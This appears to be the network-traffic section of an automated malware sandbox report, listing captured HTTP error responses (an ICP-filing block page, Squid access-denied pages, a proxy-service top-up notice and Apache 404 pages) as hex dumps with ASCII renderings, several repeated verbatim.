Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:47 GMTContent-Type: text/html;charset=utf-8Content-Length: 3628X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:47 GMTContent-Type: text/html;charset=utf-8Content-Length: 3628X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 02:30:48 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 02:30:51 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:52 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:52 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:52 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:55 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:55 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:55 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 299Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 35 2e 32 30 34 2e 34 39 2e 31 34 38 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 15.204.49.148 Port 80</address></body></html>
